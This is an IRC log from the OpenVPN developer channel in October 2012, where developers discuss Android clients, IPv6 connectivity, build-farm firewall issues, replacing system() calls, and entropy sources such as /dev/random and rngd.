plaisthos> not really 08:32 < jima> plaisthos: ...you might want to tell my s3. :-| 08:32 < plaisthos> it configures for p2p topology IP/32 08:32 < plaisthos> jima: which android app are you using? (there are multiple, I can you with mine :)) 08:33 * ecrist needs to update OS on handset 08:34 <@ecrist> plaisthos: I gathered he was using samsung galaxy s3 08:34 < plaisthos> ecrist: that does not hinder you to root your telephone and use openvpn settings 08:35 <@ecrist> plaisthos: there's an ICS update for my phone, just haven't done it yet 08:35 * jima has not yet rooted his phone, no 08:35 < jima> ICS, 4.0.4 08:35 < jima> (not found?) 08:40 < plaisthos> jima: are sorry, you were talking about the openvpn connect app, missed that before 08:42 < jima> err, yes. 08:44 * jima hits things with a hammer until they work 08:44 < jima> hey, cool. 08:44 < plaisthos> jima: you could also try my app ;) 08:45 < jima> i'm not sure i want to :-P 08:45 < plaisthos> jima: why not? :p 08:46 < jima> because i don't know you? 08:46 < jima> or what your app might be other than openvpn connect 08:47 <@cron2> plaisthos, jima: it could be that the "OpenVPN Tech" Android client only supports topology subnet 08:47 < plaisthos> yeah could be 08:47 < plaisthos> the android API at least always expect an IP and a netmask 08:48 < jima> i had to switch to topology subnet for openvpn connect to work 08:48 <@cron2> which is fine for net30 as well - IP, netmask :) 08:48 < jima> which, oh well 08:48 <@cron2> jima: use the less restrictive app then :) 08:48 * cron2 finds the android openvpn situation less than ideal now 08:49 < plaisthos> I am open to suggestions 08:49 <@cron2> plaisthos: not your fault that other people think they must have their own app with different restrictions... 08:49 < plaisthos> cron2: hehe 08:50 < jima> not seeing "OpenVPN Tech" 08:50 <@cron2> OpenVPN tech should have focused on iOS, and joined forces with plaisthos for Android. If you ask me. 08:50 < plaisthos> iOS has the problematic GPL2 vs Store issue 08:50 <@cron2> jima: that's "openvpn connect" - openvpn-the-company, vs. openvpn-the-community-proejct 08:51 < jima> ok... 08:51 <@ecrist> cron2: there's a lot of back history between the two 08:51 < jima> now that i've gotten over the two hurdles, OpenVPN Connect works fine 08:51 < jima> i can confirm that i'm seeing traffic going over the vpn 08:52 <@cron2> ecrist: sure, and 90% of the code is the same even .-) 08:52 < jima> lol latency, but whatever. 08:57 < jima> oh, nice! i can see tmo's nat64 prefix from the openvpn log. 09:04 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:04 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:07 < plaisthos> .oO(I am waiting for the first feature request like OpenVPN Connect has feature x, please also implement feature x) 09:09 <@cron2> plaisthos: without having seen this, what I have the gut feeling is "OpenVPN Connect will handle dual-stacked servers automatically" 09:09 * jima switches his openvpn server from tcp to tcp6-server, and connects from his phone via ipv6. woo! 09:09 <@cron2> ugh, tcp 09:09 < plaisthos> jima: you have a celluar net that uses ipv6? 09:09 < plaisthos> cron2: better choice on todays mobile networks 09:09 < jima> i ran into a lot of mtu and reconnection issues using udp 09:10 < jima> plaisthos: uhm...sure? 09:10 < plaisthos> at least for my provider 09:10 < jima> t-mobile has an ipv6 kinda-sorta-beta 09:10 <@cron2> plaisthos: mmmh. I have been lucky, then, with udp/1194 (which has a lot less nasty buffering/retransmit issues than tcp) 09:10 < plaisthos> the nat state is keep for 1 hour+ for tcp with no traffic 09:10 <@cron2> jima: I envy you. No IPv6-capable mobile providers here 09:10 < jima> cron2: i haven't seen anything noticable, but i think it still might be the lesser of two evils 09:11 < plaisthos> for udp the nat state is dropped after 30-60+ sec without traffic 09:11 < jima> cron2: yeah, verizon's lte has ipv6, too 09:11 <@cron2> plaisthos: ah, nat state - I use ping 30 90, so state is refreshed... 09:11 < plaisthos> yes 09:11 < plaisthos> but that kills yours phone battery rather quickly 09:11 <@cron2> good argument, though 09:11 < jima> so fundamentally, in the US, you have two cellular ipv6 options, as long as you get the right phone 09:11 * cron2 has no phone with OpenVPN, to be honest :-) - I have a laptop with a cable to my Nokia C5... 09:12 < plaisthos> :) 09:13 * ecrist uses UDP over t-mobile 4g fairly regularly 09:13 < jima> ecrist: with keepalive, or...? 09:13 <@ecrist> but that's a "tethered" laptop 09:13 <@ecrist> yeah 09:13 < jima> my comments on udp issues were in general, not to cellular specifically 09:13 < jima> the mtu stuff was just awful 09:14 < plaisthos> cron2: I am working on the dual stack client support of OpenVPN ;) 09:14 < jima> plaisthos: ? 09:14 <@ecrist> we don't do anything special with mtu here 09:14 <@ecrist> I do for my personal tunnel with the IPv6 stuff 09:15 < jima> i had to muck with the mtu when using udp, not after i switched to tcp. 09:15 < plaisthos> jima: that remote foo.bar would try the IPv4 first and then the Ipv6 address of the host 09:15 < jima> eww, ipv4 first? shame on you. ;-) 09:15 <@cron2> plaisthos: IPv6 first, of course! 09:15 < jima> :-D 09:15 < plaisthos> jima, cron2: whatever getaddressinfo gives you first 09:15 <@cron2> ack 09:16 < jima> what the heck are you using for ipv6, 6to4? 09:17 < jima> gai will deprioritize 6to4 under ipv4, fwow 09:17 < jima> fwiw 09:17 < plaisthos> jima: I know. 09:17 < jima> 'k 09:17 < plaisthos> We might need an eyeball implementation later down the round 09:17 < jima> otherwise it should prefer ipv6 to ipv4 09:17 < jima> lemme know if you need testers 09:17 <@cron2> a happy eyeball, hopefully, and not like apple's sad eyeballs 09:17 < plaisthos> cron2: ? 09:18 < jima> heh 09:18 < plaisthos> becase ipv4 vpn with ipv6 payload, reconnect might give the ipv6 address as first address which may not be reachable without vpn :/ 09:18 <@cron2> plaisthos: current MacOS has no preference at all anymore and tries both families exactly at the same time, so it's fairly random which one succeeds - and it can happen that right in the middle of a web session, your client jumps from IPv4 to IPv6 and back 09:19 < plaisthos> cron2: intresting 09:19 < jima> plaisthos: the opposite could happen in ipv6-only environments (even with a valid nat64 path). 09:20 <@dazo> Mac is for hip-hop music and post-modern design geeks ... not networking 09:20 * dazo *dukcs* 09:20 <@ecrist> heh 09:20 < jima> dazo: you forgot "hipsters!" 09:20 <@dazo> sorry!!! 09:21 < jima> i should go get some coffee 09:21 <@cron2> macos had it right until 10.5, and then they "improved" it 09:22 < plaisthos> jima: getaddrinfo should still prefer Ipv6 records in that case 09:25 < jima> plaisthos: in most, afaik 09:26 < jima> interestingly enough, openvpn may be a nice workaround for the no-ipv6-on-wifi issue that the s2/s3 have. 09:26 < jima> lucky me, my openvpn server is also my home router 09:51 < jima> ugh, tcp6-server is giving me issues...probably more the openwrt openwrt build than anything. 09:52 < jima> err, openwrt openvpn build 09:53 <@cron2> what are the issues? 09:53 < jima> frequent disconnections from the ipv6-connected endpoint 09:54 < jima> could relate to ipv6 weirdness anywhere between my phone and my router, including the ipv6 tunnel (i need to nag my isp to finish their native deployment) 09:55 < plaisthos> jima: where are you living that your provider have native ipv6 or native ipv6 plans? 09:55 < jima> utah :-P 09:55 < plaisthos> here in germany it is loooking rather for dark and home users 09:56 < jima> brb, meeting 09:56 < plaisthos> t-mobile germany for example has no ipv6 09:56 < plaisthos> only t-mobile usa 10:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:11 <@d12fk> mac, hip-hop /me doesn't get it 10:20 <@ecrist> I should probably update the forum server one of these days 10:21 <@ecrist> root@forums:~-> w 10:21 <@ecrist> 10:20AM up 643 days, 2 mins, 1 user, load averages: 0.00, 0.03, 0.04 11:02 -!- raidz_afk is now known as raidz 11:29 < jima> ecrist: what's that running? 11:30 < jima> plaisthos: anyway, a number of cities in the slc (utah) metro area have coordinated with a non-profit group whose aim is to install fibre-to-the-home infrastructure and offer access to isps 11:30 < jima> they offer 50m/50m, 100m/100m, and 1g/1g 11:31 < jima> some of the isps are more forward-thinking than others and are well down the ipv6 path 11:31 < jima> unfortunately the interconnect between the isps and the homes is a little complicated, so they're running into some hurdles with deployment 12:16 <@ecrist> jima: FreeBSD 12:22 < jima> cool 12:23 < jima> i confirmed ipv6 is my isp's #2 priority today 12:23 <@cron2> great ews 12:23 <@cron2> news 12:30 < plaisthos> dazo: when you next commit can you add libtool to the ignore list? Or should I write a patch for that? :) 12:30 <@dazo> plaisthos: you mean .libs ? 12:32 < plaisthos> after I do the autoconf -vfi && ./configure dance on OS X 12:32 < plaisthos> git status menations libtool as new untracked file 12:33 <@dazo> ahh! 12:42 <@dazo> plaisthos: updated .gitignore now ... so it will be pushed out when we got some code changes 12:48 <@cron2> wah 12:48 <@cron2> # telnet -4 conn-test-server.openvpn.org 51196 12:48 <@cron2> Trying 199.102.77.82... 12:48 <@cron2> telnet: connect to address 199.102.77.82: Connection refused 12:49 <@cron2> that's why the test is failing... 12:51 <@cron2> ah 12:51 <@cron2> no 12:51 <@cron2> that should have been udp, but still it's failing... 12:52 <@cron2> ecrist: have you added firewalling to phillip? udp/51196 is not getting through 12:53 <@cron2> or have *I* broken that? 12:53 <@cron2> *go look* 12:55 <@ecrist> no firewalling 12:55 <@cron2> t'was me 12:55 <@ecrist> :) 12:56 <@cron2> added firewalling to the routers before my OpenVPN build farm... 12:56 <@cron2> ... and there was a logic error regarding source/dest udp range... *roll eyes* 12:56 <@cron2> dazo: freebsd74 buildbot should be fine 12:57 <@dazo> goodie! 12:58 <@cron2> testing another build with t_client run... 12:58 <@cron2> firewall rules have been added (well, tightened) about three weeks ago, and since we didn't run anything, I haven't noticed 12:58 <@dazo> cron2: if you and plaisthos could weight in on the mail thread I started today (regarding system()) ... we can hopefully throw a fix for this into RC1 too 12:59 <@dazo> ahh 12:59 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/7090 12:59 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:00 <@cron2> dazo: I have not fully understood what needs fixing? you had a program with lots of system() calls but I didn't understand the relationship to OpenVPN? 13:01 <@dazo> it's related to memory management ... openvpn's system() calls are setup so that pointers setup with putenv() are trashed before system() is executed 13:01 <@dazo> and trying to fix this, reveals a rats nest of trouble 13:02 <@dazo> it works well with execve() because it does the proper nesting ... plus builds up a separate environment variable set, which is passed through to execve() 13:02 <@dazo> while system() can only make use of putenv() 13:03 <@cron2> we could replace system() by execve(/bin/sh, -c, ...) (as system does internally) 13:04 <@dazo> good point 13:05 <@ecrist> does that really save anything, then? 13:05 <@cron2> freebsd's stdlib/system.c is just 98 lines long... and the core is 13:05 <@cron2> execl(_PATH_BSHELL, "sh", "-c", command, (char *)NULL); 13:05 <@ecrist> heh 13:05 <@cron2> ecrist: it does, we want to control the environment in the child, and we can't do that with putenv 13:05 <@cron2> (worse, the way we currently do that is *broken*) 13:05 <@dazo> well, it will still be prune to the shell expansion troubles system() have ... but except of that, we can reuse the proper execve() code paths, and rip out the hackerish system() implementation 13:06 <@ecrist> ahhhh 13:06 <@cron2> dazo: well, that's a property / feature of system, to *permit* shell expansion and special chars ("--up 'foo | bar'") 13:06 <@cron2> dazo: but what I can not answer is: will that work on Windows - no idea about forking and exec'ing there 13:07 <@dazo> well, calling /bin/sh would fail miserably on Windows 13:07 <@cron2> you'd need to call "cmd.exe /c ..." or such 13:08 <@dazo> but just wonderi.... exactly 13:08 <@dazo> d12fk: ^^^ do you have some time to help figuring out this? 13:08 <@cron2> gaaah 13:09 <@cron2> my local "t_server" test run runs the client-for-that-server on fbsd74 as well, and if a buildbot test runs, they collide and things fail 13:13 * dazo heads home 13:14 -!- dazo is now known as dazo_afk 13:16 <@cron2> so, freebsd74 passed all t_client tests in buildbot -> goodie, was a firewall issue 13:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 13:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:56 * ecrist looks into ticket 14:01 <@ecrist> dazo_afk: you around? 14:01 <@ecrist> derp 14:01 <@ecrist> someone around that understands git? 14:04 < plaisthos> a little bit 14:06 < plaisthos> FeatVPN seems to have a android 4.0 client too but not in the store but on their website *rolls eyes* 14:17 <@ecrist> dazo_afk: I've closed #202 and #204 18:10 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 244 seconds] 18:22 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:35 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:49 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:15 <@ecrist> raidz: plan on playing more with OpenVPN Connect tomorrow - upgraded my handset to ICS 4.0.4 tonight 19:15 <@ecrist> :) 19:16 <@raidz> ecrist: sounds good! Please let me know if you run into any new issues. We should have a new build out tomorrow that handles the cert issues people were seeing (non-inline) 19:16 <@ecrist> dazo_afk: I have one bug I'm working on fixing for Easy-RSA, but it's an old one (#50 in trac) 19:16 <@ecrist> I'll let you know what I find. 19:18 -!- Irssi: #openvpn-devel: Total of 18 nicks [9 ops, 0 halfops, 1 voices, 8 normal] 19:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 19:29 -!- raidz is now known as raidz_afk 19:29 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 19:30 < jima> hahaha, i beat the no-ipv6-on-wifi bug in (some?) ICS 19:30 <@ecrist> oh yeah? 19:30 < jima> yeah. openvpn to my router. pushed the default route. 19:43 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:49 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 23:03 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Thu Oct 18 2012 02:41 -!- dazo_afk is now known as dazo 03:17 <@dazo> mattock: saw your reply now ... I don't think it's lists.sourceforge.net giving these "shortmail" replies ... the MTA is mail.shortmail.com .... mailing list mails comes from sourceforge.net MTAs ... 03:18 <@dazo> I think someone have signed up for a shortmail.com address and joined our mailing list with that address 03:21 <+krzee> FWIW, i basically never see people use script-security system 03:22 <@dazo> krzee: that's a valuable feedback! thx! 03:23 <+krzee> np 03:30 <+krzee> on the thread [Openvpn-users] Options error: option 'route' cannot be used in this context 03:31 <+krzee> the OP replies to his own post 03:31 <+krzee> the shortmail is on that reply, but not on his original message 05:16 <@mattock_> dazo: ah, I see 06:21 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 06:22 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:24 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 08:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 10:24 -!- dazo is now known as dazo_afk 10:36 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 10:37 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 11:03 -!- raidz_afk is now known as raidz 11:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 16:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:01 -!- raidz is now known as raidz_afk 22:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Oct 19 2012 02:56 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 04:07 -!- dazo_afk is now known as dazo 04:51 -!- dazo is now known as dazo_afk 05:05 -!- dazo_afk is now known as dazo 07:19 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 08:10 < plaisthos> the openvpn connect app uses the same mime-type of application/x-openvpn-profile as my app :) 08:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:30 -!- ether0 [~ether0@72.22.83.65] has joined #openvpn-devel 09:43 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn-devel 09:44 <@cron2> so if both are isntalled, you get a MIME conflict! 09:44 < plaisthos> cron2: nah 09:47 < plaisthos> you get a dialog asking you what to do http://plai.de/tmp/Screenshot_2012-10-19-16-45-01.png 09:48 < plaisthos> which reminds me that I have to translate my import string 11:07 -!- raidz_afk is now known as raidz 12:41 -!- dazo is now known as dazo_afk 12:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:44 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] --- Log closed Fri Oct 19 18:15:16 2012 --- Log opened Tue Oct 23 07:20:23 2012 07:20 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:20 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 0 voices, 10 normal] 07:20 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:20 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:20 <@ecrist> mattock_: ping 07:20 <@mattock_> pong 07:21 <@ecrist> do you folks still do some sort of web acceleration or something? 07:21 <@ecrist> I've been noticing that authentication cookies seem to get invalidated on both the community page and the forums 07:21 <@mattock_> I think so 07:21 <@mattock_> hmm 07:23 <@mattock_> any way to reproduce reliably? 07:23 <@ecrist> no 07:23 <@ecrist> I've been fighting to fix it on the forums for 3 or 4 months, and I noticed a few days ago the community server does the same thing 07:23 <@mattock_> I'll ask raidz about this 07:26 <@mattock_> I don't think any acceleration is in use on forums and community, but could be wrong 07:27 <@ecrist> I'm thinking not, as well, but this is besting me 08:22 <@mattock_> asked raidz, we'll see what he says 10:04 <@d12fk> is there any other character besides '/' forbidden in unix filenames 10:05 <@d12fk> ah nevermind, ovpn uses system, so any shell special char is questionable 10:06 <@d12fk> background: utf8 CNs are still _ quoted when used as CCD filename 10:06 <@d12fk> discovered that today during testing 10:07 <@ecrist> d12fk: / is the only forbidden character 10:08 <@ecrist> and, really, it's only forbidden because it is impossible to escape it 11:36 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:42 <@andj> dazo: using /dev/random is better, especially just after boot.... OpenVPN-NL uses it, but it has a huuuge drawback 11:42 <@andj> It's blocking, and you do notice that 11:42 <@andj> A few minutes after boot you should be fine using urandom 11:42 <@dazo> yeah, agreed 11:43 <@andj> OpenVPN isn't very good at blocking random 11:43 <@dazo> yeah, good point ... maybe check uptime and then decide if to use random or urandom? 11:43 <@andj> you might lose a connection because of it, especially on heavily loaded concentrators 11:43 <@andj> Yeah, that's something I'm playing with 11:43 <@dazo> yupp ... what about rngd? 11:44 <@andj> Where does it get its random data? 11:44 * dazo checks :) 11:44 <@andj> "random-device" 11:44 <@andj> So it needs a hardware random device :) 11:45 <@andj> Which is a great way of doing it, as long as you have a good device :) 11:48 <@andj> It might use the processor hardware random node 11:48 <@andj> http://www.linuxcertified.com/hw_random.html 11:48 <@vpnHelper> Title: Randomness shouldn't be left to chance - HOWTO - LinuxCertified, Inc. (at www.linuxcertified.com) 11:48 <@dazo> Yeah, I think it does .... just found some source files 11:49 <@dazo> git://git.kernel.org/pub/scm/utils/kernel/rng-tools/rng-tools.git 11:49 <@andj> Thanks, that's an interisting one, hadn't met it yet :) 11:49 <@dazo> it's available in RHEL ... so I'm considering to install it :) 11:52 <@dazo> tpm, cpu and drng are the supported sources 12:02 <@dazo> without rngd running ... 12:02 <@dazo> $ time (dd if=/dev/random bs=1024 count=4 | hexdump -C) 12:02 <@dazo> 00000000 4d e1 fb a1 ed e0 15 f6 23 c5 50 f9 57 e2 40 25 |M.......#.P.W.@%| 12:02 <@dazo> 00000010 ad 4c bc 32 9f a6 2b b0 7e db 40 2d 28 15 99 12 |.L.2..+.~.@-(...| 12:02 <@dazo> 00000020 84 5e ec 3d b9 d1 f5 ee 63 2b 10 17 ba 5b e3 dd |.^.=....c+...[..| 12:02 <@dazo> 00000030 b2 dc ff 8e e8 f9 88 00 be cf 07 40 be ed f6 87 |...........@....| 12:02 <@dazo> 00000040 33 73 da 00 cc 4d af e4 60 e2 f4 b4 d0 87 0f 8a |3s...M..`.......| 12:02 <@dazo> 0+4 records in 12:02 <@dazo> 0+4 records out 12:02 <@dazo> 84 bytes (84 B) copied00000050 70 1c df ca |p...| 12:02 <@dazo> 00000054 12:02 <@dazo> , 0.97796 s, 0.1 kB/s 12:02 <@dazo> real 0m0.980s 12:02 <@dazo> user 0m0.001s 12:02 <@dazo> sys 0m0.001s 12:02 <@dazo> With rngd running (using TPM) 12:02 <@dazo> dsommers@leo ~/devel/fedora/rng-tools/rng-tools-4 (master) $ time (dd if=/dev/random bs=1024 count=4 | hexdump -C) 12:02 <@dazo> 00000000 5e fa 11 8a 51 ce cb 37 d8 b7 0f 16 44 70 61 99 |^...Q..7....Dpa.| 12:02 <@dazo> 00000010 7e be e9 23 c8 99 f3 18 4f 8a 24 09 bb 8d 39 19 |~..#....O.$...9.| 12:02 <@dazo> 00000020 ab 9d 29 34 49 97 d4 63 80 d5 96 00 c2 a7 ff 8f |..)4I..c........| 12:02 <@dazo> 00000030 f6 d0 8d ec 4f 14 d6 db 0c 98 9e 24 a3 b0 e1 b8 |....O......$....| 12:02 <@dazo> 00000040 0f 5c a1 6b bb 96 e0 5d 92 f8 a8 d0 88 11 e6 d8 |.\.k...]........| 12:02 <@dazo> 0+4 records in 12:03 <@dazo> 0+4 records out 12:03 <@dazo> 512 bytes (512 B) copied00000050 db 72 a9 0a 2e 26 5d 07 96 db fd 48 fe 22 b2 57 |.r...&]....H.".W| 12:03 <@dazo> 00000060 e7 3d 2f 52 ef bb 0a 02 43 05 36 d2 2c c9 da 6e |.=/R....C.6.,..n| 12:03 <@dazo> , 0.000375301 s, 1.4 MB/s 12:03 <@dazo> 00000070 a0 73 ae 72 eb 9c 1b d1 b4 63 db a6 b6 8e 2c fe |.s.r.....c....,.| 12:03 <@dazo> 00000080 2e 2f 5f c9 90 8c b6 ca 72 cf 2f 8f fd 1e 11 53 |./_.....r./....S| 12:03 <@dazo> 00000090 96 9b ef de 87 e6 45 ef ea 90 54 d2 aa a5 b3 d2 |......E...T.....| 12:03 <@dazo> 000000a0 1d e0 eb e6 2a da 53 97 06 ab 88 63 03 ea 09 d9 |....*.S....c....| 12:03 <@dazo> 000000b0 01 ea cf 2f 3d 57 b7 be 05 3a c0 39 76 e2 b7 fc |.../=W...:.9v...| 12:03 <@dazo> 000000c0 21 05 d7 8e 95 55 bd 1f cb f2 03 e2 27 2c 18 d8 |!....U......',..| 12:03 <@dazo> 000000d0 13 13 fe 8e 87 18 7e ab 6d 5d c0 ff a8 f8 3b 24 |......~.m]....;$| 12:03 <@dazo> 000000e0 87 79 a9 69 75 ba 64 be 7e e2 0c 54 7b 9c 85 0c |.y.iu.d.~..T{...| 12:03 <@dazo> 000000f0 d4 b2 6f 9f 27 c9 82 cc f3 44 95 86 84 2b 8b 99 |..o.'....D...+..| 12:03 <@dazo> 00000100 36 f2 82 6d 93 ff dc 19 c1 40 10 68 61 32 9e d0 |6..m.....@.ha2..| 12:03 <@dazo> 00000110 c3 ed 0d c0 a9 a6 51 68 dc d5 59 4f 76 dd 21 8f |......Qh..YOv.!.| 12:03 <@dazo> 00000120 f2 79 a4 9c d3 8b a7 32 b5 ef 7d d1 3e c3 ff a1 |.y.....2..}.>...| 12:03 <@dazo> 00000130 65 f3 00 48 b0 f0 21 7d 68 67 be f3 34 50 3d 52 |e..H..!}hg..4P=R| 12:03 <@dazo> 00000140 26 13 69 9a 54 18 af 30 92 de 3f 9f 9d f4 56 32 |&.i.T..0..?...V2| 12:03 <@dazo> 00000150 ca 4f c4 91 89 00 a6 97 88 f9 c8 40 4c 4f 8c 37 |.O.........@LO.7| 12:03 <@dazo> 00000160 31 58 53 fa 36 d3 9e c0 24 cc 66 83 46 e6 80 3e |1XS.6...$.f.F..>| 12:03 <@dazo> 00000170 bd af 33 c5 fa d7 14 47 12:03 <@dazo> .... 12:03 <@dazo> real 0m0.003s 12:03 <@dazo> user 0m0.001s 12:03 <@dazo> sys 0m0.003s 12:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:08 <@dazo> $ time (dd if=/dev/random bs=1024 count=1024 of=/dev/null) 12:08 <@dazo> 0+1024 records in 12:08 <@dazo> 0+1024 records out 12:08 <@dazo> 126190 bytes (126 kB) copied, 5.79813 s, 21.8 kB/s 12:08 <@dazo> real 0m5.800s 12:08 <@dazo> user 0m0.000s 12:08 <@dazo> sys 0m0.079s 12:08 <@dazo> (no need to try that without rngd running ......) 12:08 <@dazo> 5 seconds with 1MB of random data 12:09 <@dazo> uhm ... 12:10 * dazo wonders how 1024 blocks of 1024 bytes became 126kB .... 12:16 <+krzee> you dont need a subshell there, time command will run the command without the ( ) 12:16 <+krzee> :D 12:19 <@dazo> true :) 12:20 <+krzee> 1048576 bytes transferred in 0.160990 secs (6513299 bytes/sec) 12:20 <+krzee> osx 12:20 <+krzee> linux is still waiting 12:20 <@dazo> was that /dev/urandom or /dev/random ? 12:20 <+krzee> random 12:21 <@dazo> which means osx must have some kind of entropy collector 12:21 <+krzee> killed it in linux, and got this 12:21 <+krzee> 382 bytes (382 B) copied, 91.342 seconds, 0.0 kB/s 12:21 <@dazo> or a hardware random generator 12:21 <@dazo> yeah ... if you install and start rngd .... it will be completely different 12:21 <@dazo> (given that the hardware got some random generators rngd can make use of) 12:23 <+krzee> 36 bytes (36 B) copied, 38.1585 seconds, 0.0 kB/s 12:23 <+krzee> killed it on freebsd too, got that ^ 12:23 <@dazo> /dev/random is slow by design, as it should give safe random numbers ... and it will block when it's lacking enough entropy 12:24 <@dazo> rngd is a tool which can be used to fill up the entropy pool the kernel uses 12:24 <@dazo> but rngd needs a safe source too, of course :) 12:30 <@andj> dazo: indeed, thanks for the heads up, I hadn't seen that one yet 12:31 <+krzee> good to know 12:48 -!- dazo is now known as dazo_afk 13:29 <@ecrist> dazo_afk: iirc, OS X uses Yarrow, like FreeBSD does 13:31 <@ecrist> FreeBSD: 1048576 bytes transferred in 0.016425 secs (63840654 bytes/sec) 13:31 <@ecrist> OS X: 1048576 bytes transferred in 0.073815 secs (14205485 bytes/sec) 13:43 <+krzee> oh ya i was on fbsd6 with mine above ^ 13:44 <@ecrist> that's freebsd 9.0 15:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 18:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:15 <+krzee> anyone got a link to some math that has to do with encryption? 18:16 <+krzee> i want to show my graphic artist 19:29 -!- raidz is now known as raidz_afk 20:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:57 -!- jima [jima@fedora/jima] has quit [Ping timeout: 245 seconds] --- Day changed Wed Oct 24 2012 04:10 -!- dazo_afk is now known as dazo 11:13 -!- raidz_afk is now known as raidz 13:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:21 -!- dazo is now known as dazo_afk 18:20 * ecrist waves 19:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 19:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:59 -!- raidz is now known as raidz_afk 21:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Day changed Thu Oct 25 2012 02:14 <@mattock_> so who's going to FOSDEM? 02:16 * cron2 is a bit reluctant (as it conflicts with our local Go tournament), but if you all go, I think I'll go too 03:17 < plaisthos> I am not sure either but if all of you go I think I will come too :) 03:20 <@andj> I think I might go again this year 03:30 <@mattock_> hmm, it seems a single forced shutdown broke my Win7 test VM 03:32 <@mattock_> yep, completely hosed 03:32 <@mattock_> using system restore points would use up all my diskspace, but I guess I need to do that when I reinstall 03:33 * cron2 explains about VM snapshots... (or just copying the VM disk files while it's in a known-good state) 03:35 <@mattock_> usually I have no use for snapshots, I can rebuild the VMs in a snap... but with windows, it's always "next next next click click click" 03:35 <@mattock_> luckily I _had_ a backup image as I just reorganized the disks on my server 03:36 <@mattock_> it should work 03:53 <@mattock_> didn't 03:53 <@mattock_> I'll learn from this :) 04:42 -!- dazo_afk is now known as dazo 05:10 <@cron2> we could have a talk "things that ate much more time than estimated" :-) - and "mattock vs. windows" is top#1 :)) 06:11 <@mattock_> cron2: which one of my numerous windows struggles are you referring to? 06:11 <@mattock_> ;) 06:12 <@cron2> mattock: all of them :) 06:12 <@mattock_> yeah, that's certainly #1 then :D 06:13 <@cron2> (right now I'm wondering what we're waiting for for 2.3_RC1 release... is it Windows, d12fk/gui, or dazo?) 06:13 <@mattock_> not sure, but I'll need to 